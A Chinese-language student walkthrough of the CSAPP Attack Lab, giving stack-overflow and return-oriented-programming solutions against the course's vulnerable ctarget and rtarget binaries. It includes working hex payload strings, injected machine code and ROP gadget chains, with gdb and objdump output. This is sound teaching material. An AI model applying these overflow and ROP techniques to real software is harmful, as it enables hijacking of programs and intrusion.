[关闭]
@SovietPower 2021-06-11T16:38:28.000000Z 字数 8119 阅读 1056

CSAPP Lab3: The Attack Lab

CSAPP



https://www.zybuluo.com/SovietPower/note/1801471
参考:
https://blog.csdn.net/AI_lalaland/article/details/105153847
https://blog.csdn.net/weixin_44520881/article/details/109274669

实验介绍

具体看writeup.pdf

攻击目标代码ctarget和rtarget都使用如下函数从标准输入中读取字符串:

  1. unsigned getbuf()
  2. {
  3. char buf[BUFFER_SIZE];
  4. Gets(buf);
  5. return 1;
  6. }

BUFFER_SIZE为编译时就已确定的常数。Getsgets一样读入整行字符串到buf中,且不考虑是否可能越界。

测试:
测试可以先在1.txt中输入想要的16进制字符串,用hex2raw转为输入字符串,然后用ctarget/rtarget-i参数文件输入:

  1. $ ./hex2raw < 1.txt > 1.in
  2. $ ./ctarget -qi 1.in
  3. $ ./hex2raw < 1.in | ./ctarget -q

需要加参数-q,不上传得分到cmu的服务器(否则不能运行)。
用于hex2raw而输入的16进制串需每两位一空格,如想要字符串,则应输入),可加注释/* */,但/*后和*/前一定要有空格。

攻击方式:
Code Injection
前三个Phase。
通过使缓冲区溢出,让输入覆盖返回地址,使PC在retq时返回到某个指定的位置,并执行注入的代码。

Return-Oriented Programming
后两个Phase。
栈随机化(不能确定插入代码位置)、将栈内存段设为不可执行(不能执行插入代码),可以使常规破坏方法难以实现。
ROP用于处理这两种情况。

Part I: Code Injection

程序CTARGET调用如下函数test,输入一个字符串,通过缓冲区溢出使得程序不从test返回,而是调用touchx函数。

  1. unsigned getbuf()
  2. {
  3. char buf[BUFFER_SIZE];
  4. Gets(buf);
  5. return 1;
  6. }
  7. void test()
  8. {
  9. int val;
  10. val = getbuf();
  11. printf("No exploit. Getbuf returned 0x%x\n", val);
  12. }

Level 1

  1. void touch1()
  2. {
  3. vlevel = 1; / * Part of validation protocol * /
  4. printf("Touch1!: You called touch1()\n");
  5. validate(1);
  6. exit(0);
  7. }

因为getbufreturn返回的是调用getbuf前栈指针指向的地址,所以将那个位置的值改为touch1的地址即可。
objdump -d ctarget > ctarget.txt得到汇编代码:

  1. 00000000004017a8 <getbuf>:
  2. 4017a8: 48 83 ec 28 sub $0x28,%rsp
  3. 4017ac: 48 89 e7 mov %rsp,%rdi
  4. 4017af: e8 8c 02 00 00 callq 401a40 <Gets>
  5. 4017b4: b8 01 00 00 00 mov $0x1,%eax
  6. 4017b9: 48 83 c4 28 add $0x28,%rsp
  7. 4017bd: c3 retq
  8. 4017be: 90 nop
  9. 4017bf: 90 nop

可知BUFFER_SIZEbuf的大小为,位置在
所以字符后写入的内容会写到处,即调用getbufcallq)时的栈顶,即返回地址。所以将touch100000000004017c0 <touch1>)的地址放在个字符后即可。
所以想要的字符串内容为:

  1. 00 00 00 00 00 00 00 00
  2. 00 00 00 00 00 00 00 00
  3. 00 00 00 00 00 00 00 00
  4. 00 00 00 00 00 00 00 00
  5. 00 00 00 00 00 00 00 00
  6. c0 17 40 00 00 00 00 00

用给的hex2raw转为相应的可输入串输入即可:./hex2raw < 1.in | ./ctarget -q

注意地址用小端法表示(注意区分指令与地址)。


Level 2

复习一下几个点:
调用retq时,PC指向当前%rsp指向的位置,并popq
程序只是单纯执行PC指向位置的16进制指令序列(机器代码.o,编译器编译后产生的二进制文件,汇编代码.s的机器代码表示),并将PC+1。此外只会因callq,retq等命令改变PC。
gcc -Og -S name.c产生汇编文件name.s
gcc -Og -c name.cgcc -Og -c name.s产生目标代码文件name.o(机器代码);
objdump -d name.o将机器代码对应的汇编代码逐行表示出来。


  1. void touch2(unsigned val)
  2. {
  3. vlevel = 2; / * Part of validation protocol * /
  4. if (val == cookie) {
  5. printf("Touch2!: You called touch2(0x%.8x)\n", val);
  6. validate(2);
  7. } else {
  8. printf("Misfire: You called touch2(0x%.8x)\n", val);
  9. fail(2);
  10. }
  11. exit(0);
  12. }

Level2要求跳转时带一个参数,即跳转前的值需为给定的,也就是先实现mov $0x59b997fa,%rdi
输入串存在处。如果将getbuf返回地址的值设为,PC在retq时就会跳转到处并执行串内容所表示的机器代码。
所以就可令的内容为:

  1. mov $0x59b997fa,%rdi
  2. retq

这时的retq需返回touch2。注意从getbuf执行到这里retq了两次,此时retq的返回目标即处存的地址。
所以找到touch2的地址00000000004017ec,通过溢出将其放在处即可。

movq $0x59b997fa, %rdi ret写入2.sgcc -c 2.s得到2.o,再将2.o反汇编即可得到两条指令的机器代码:

  1. $ gcc -c 2.s
  2. $ objdump -d 2.o
  3. 2.o 文件格式 elf64-x86-64
  4. Disassembly of section .text:
  5. 0000000000000000 <.text>:
  6. 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
  7. 7: c3 retq

此外需要知道buf的存储位置,即调用getbuf的值,为

  1. (gdb) b getbuf
  2. Breakpoint 1 at 0x4017a8: file buf.c, line 12.
  3. (gdb) r -q
  4. Starting program: ./ctarget -q
  5. Cookie: 0x59b997fa
  6. Breakpoint 1, getbuf () at buf.c:12
  7. 12 buf.c: 没有那个文件或目录.
  8. (gdb) disas
  9. Dump of assembler code for function getbuf:
  10. => 0x00000000004017a8 <+0>: sub $0x28,%rsp
  11. 0x00000000004017ac <+4>: mov %rsp,%rdi
  12. 0x00000000004017af <+7>: callq 0x401a40 <Gets>
  13. 0x00000000004017b4 <+12>: mov $0x1,%eax
  14. 0x00000000004017b9 <+17>: add $0x28,%rsp
  15. 0x00000000004017bd <+21>: retq
  16. End of assembler dump.
  17. (gdb) i r $rsp
  18. rsp 0x5561dca0 0x5561dca0
  19. (gdb) stepi
  20. 14 in buf.c
  21. (gdb) i r $rsp
  22. rsp 0x5561dc78 0x5561dc78

所以输入串为:

  1. 48 c7 c7 fa 97 b9 59 c3 //通过串注入的命令
  2. 00 00 00 00 00 00 00 00
  3. 00 00 00 00 00 00 00 00
  4. 00 00 00 00 00 00 00 00
  5. 00 00 00 00 00 00 00 00
  6. 78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)
  7. ec 17 40 00 00 00 00 00 //再次返回到touch2

主要问题在于如何二次返回到touch2
因为retq返回的是所指位置,所以在retqpushq touch2的地址,也可以实现rettouch2。这种方法可能更简单。
即:

  1. mov $0x59b997fa,%rdi
  2. pushq $0x4017ec
  3. retq

反汇编得到机器代码:

  1. 0000000000000000 <.text>:
  2. 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
  3. 7: 68 ec 17 40 00 pushq $0x4017ec
  4. c: c3 retq

所以输入串:

  1. 48 c7 c7 fa 97 b9 59 68 //通过串注入的命令
  2. ec 17 40 00 c3 00 00 00
  3. 00 00 00 00 00 00 00 00
  4. 00 00 00 00 00 00 00 00
  5. 00 00 00 00 00 00 00 00
  6. 78 dc 61 55 00 00 00 00 //返回到注入命令(串位置)

注意不能直接修改栈指针(如movq $0x4017ec,%rsp),只能用push/pop,call/ret修改指针。可能是最后validate判断了栈指针是否被不合理修改,或者这么改不好。


Level 3

  1. / * Compare string to hex represention of unsigned value * /
  2. int hexmatch(unsigned val, char* sval)
  3. {
  4. char cbuf[110]; / * Make position of check string unpredictable * /
  5. char* s = cbuf + random() % 100;
  6. sprintf(s, "%.8x", val);
  7. return strncmp(sval, s, 9) == 0;
  8. }
  9. void touch3(char* sval)
  10. {
  11. vlevel = 3; / * Part of validation protocol * /
  12. if (hexmatch(cookie, sval)) {
  13. printf("Touch3!: You called touch3(\"%s\")\n", sval);
  14. validate(3);
  15. } else {
  16. printf("Misfire: You called touch3(\"%s\")\n", sval);
  17. fail(3);
  18. }
  19. exit(0);
  20. }

Level3要求跳转时带有参数sval,且字符串的数值为cookie=0x59b997fa
可知字符串内容为35 39 62 39 39 37 66 61 00(注意字符串没有0x,最后有一个\0;内容为16进制表示!0x3n即数n的ASCII码)。
如果和level2一样,可知要注入的命令为(00000000004018fa <touch3>):

  1. ; 第一行%rsp处为实际内容:35 39 62 39 39 37 66 61
  2. movq $0x5561dc78,%rdi ; 0x5561dc78为串存储位置%rsp
  3. pushq $0x4018fa
  4. ret

如果将上面的内容放到串里,再retqtouch3,因为从getbuf retq处前,会释放的空间,此时字符串存在处。而调用touch3时会调用hexmatch,里面的数组会使至少,此时随机位置存放的可能会覆盖处的原串
所以应将存在test的栈帧里,而不是释放了的getbuf栈帧里。

所以流程应为:retq前通过溢出在test的栈帧处写入字符串,然后返回到字符串地址处,执行字符串内的内容(mov, push, ret)。
这样的值则为test的栈帧地址,需查看一下,为

  1. (gdb) b test
  2. Breakpoint 1 at 0x401968: file visible.c, line 90.
  3. (gdb) r -q
  4. Starting program: ./ctarget -q
  5. Cookie: 0x59b997fa
  6. Breakpoint 1, test () at visible.c:90
  7. 90 visible.c: 没有那个文件或目录.
  8. (gdb) disas
  9. Dump of assembler code for function test:
  10. => 0x0000000000401968 <+0>: sub $0x8,%rsp
  11. 0x000000000040196c <+4>: mov $0x0,%eax
  12. 0x0000000000401971 <+9>: callq 0x4017a8 <getbuf>
  13. 0x0000000000401976 <+14>: mov %eax,%edx
  14. 0x0000000000401978 <+16>: mov $0x403188,%esi
  15. 0x000000000040197d <+21>: mov $0x1,%edi
  16. 0x0000000000401982 <+26>: mov $0x0,%eax
  17. 0x0000000000401987 <+31>: callq 0x400df0 <__printf_chk@plt>
  18. 0x000000000040198c <+36>: add $0x8,%rsp
  19. 0x0000000000401990 <+40>: retq
  20. End of assembler dump.
  21. (gdb) i r $rsp
  22. rsp 0x5561dcb0 0x5561dcb0
  23. (gdb) stepi
  24. 92 in visible.c
  25. (gdb) i r $rsp
  26. rsp 0x5561dca8 0x5561dca8

push的值依然为注入代码位置

所以指令为:

  1. movq $RTARGET,%rdi ; 0x5561dc78为串存储位置test栈帧
  2. pushq $0x4018fa
  3. ret

其机器语言为:

  1. 0000000000000000 <.text>:
  2. 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
  3. 7: 68 fa 18 40 00 pushq $0x4018fa
  4. c: c3 retq

输入串:

  1. 48 c7 c7 a8 dc 61 55 68 /* 注入指令 */
  2. fa 18 40 00 c3 00 00 00
  3. 00 00 00 00 00 00 00 00
  4. 00 00 00 00 00 00 00 00
  5. 00 00 00 00 00 00 00 00
  6. 78 dc 61 55 00 00 00 00 /* 返回到注入命令(串位置) */
  7. 35 39 62 39 39 37 66 61 /* 将实际内容写入栈帧 */

Part II: Return-Oriented Programming

RTARGET的目的同Part I中的level 2,3,但限制栈上的代码不可执行。
此时需要利用代码中本来的可执行段,构造某些操作指令,并使PC指向那个位置。
如一个函数:

  1. void setval_210(unsigned* p)
  2. {
  3. *p = 3347663060U;
  4. }

其机器代码为:

  1. 0000000000400f15 <setval_210>:
  2. 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
  3. 400f1b: c3 retq

其中48 89 c7正好就是movq %rax,%rdi指令的表示,所以如果让PC指向400f18,程序会执行movq %rax,%rdi retq
指令序列可在writeup.pdf中查看。

Level 2

需要将赋值给。像Part I一样可以通过两次返回,使程序先执行特定指令,再返回touch2,但不能直接注入指令。

getbuf栈帧位置为
注意字符串可以修改附近的值;getbuf返回时,会)。
如果令getbuf返回到一个popq %rdi指令,再将设为,即可实现
然后再进行retq指令,并将设为touch2地址,即可再返回touch2

在表中找popq %rdi,即5f
然后在RTARGET的机器代码中找5f(5f c3),得到地址

  1. 00000000004023f6 <submitr>:
  2. 4023f6: 41 57 push %r15
  3. ...
  4. 402b18: 41 5f pop %r15
  5. 402b1a: c3 retq

所以输入串:

  1. 00 00 00 00 00 00 00 00
  2. 00 00 00 00 00 00 00 00
  3. 00 00 00 00 00 00 00 00
  4. 00 00 00 00 00 00 00 00
  5. 00 00 00 00 00 00 00 00
  6. 19 2b 40 00 00 00 00 00 /* 返回到popq %rdi */
  7. fa 97 b9 59 00 00 00 00 /* 赋值%rsp+48 */
  8. ec 17 40 00 00 00 00 00 /* 返回到touch2 */

如果找不到popq %rdi,可以找并通过popq %rax/...mov %rax/...,%rdi实现赋值,最后返回touch2


Level 3

需要将一个串的地址赋值给,串内容为 35 39 62 39 39 37 66 61 00
除了限制栈上的代码不能执行外,也有随机化。

一定放在串最后,中间是调用某些指令,使得指向
基本思路大概是,利用表将汇编中存在的mov指令找出来(包括movqmovl,如果movq没有用movl也一样),通过存在的mov一步步传递,最后将赋值。
注意有个add_xy函数,可以不需构造直接用,所以考虑先将栈顶赋值给,再给加上一个数(偏移量)得到恰当存放位置。

找了一个答案看:

  1. //in addval_190 401a06
  2. movq %rsp,%rax //先将栈顶通过%rax传给%rdi,再进行加
  3. ret //48 89 e0 c3
  4. //in addval_426
  5. movq %rax,%rdi //%rdi=%rsp
  6. ret
  7. //in addval_219
  8. popq %rax //给rax赋值偏移量,使得%rdi偏移到合适位置。这个偏移量数字即这条语句下面一行(栈中的靠下一层)
  9. ret
  10. //in getval_481
  11. movl %eax,%edx //通过存在的链将%rax加到%rdi上
  12. ret
  13. //in getval_159
  14. movl %edx,%ecx //继续在链上传递
  15. ret
  16. //in addval_436
  17. movl %ecx,%rsi //%rax->%rdx->%rcx传给%rsi
  18. ret
  19. //in add_xy
  20. lea (%rdi,%rsi,1),%rax //%rax=%rsi+%rdi
  21. retq
  22. //in addval_426
  23. movq %rax,%rdi //%rdi=%rsi+%rdi 实现偏移
  24. ret

输入串为:

  1. 00 00 00 00 00 00 00 00
  2. 00 00 00 00 00 00 00 00
  3. 00 00 00 00 00 00 00 00
  4. 00 00 00 00 00 00 00 00
  5. 00 00 00 00 00 00 00 00
  6. 06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
  7. c5 19 40 00 00 00 00 00 /* movq %rax,%rdi */
  8. ab 19 40 00 00 00 00 00 /* popq %rax */
  9. 48 00 00 00 00 00 00 00 /* %rax=48 */
  10. dd 19 40 00 00 00 00 00
  11. 34 1a 40 00 00 00 00 00
  12. 13 1a 40 00 00 00 00 00
  13. d6 19 40 00 00 00 00 00
  14. c5 19 40 00 00 00 00 00 /* %rsi=48 */
  15. fa 18 40 00 00 00 00 00 /* %rdi=%rsi+%rdi */
  16. 35 39 62 39 39 37 66 61 /* sval实际位置:%rsp+48 */

实验结果





添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注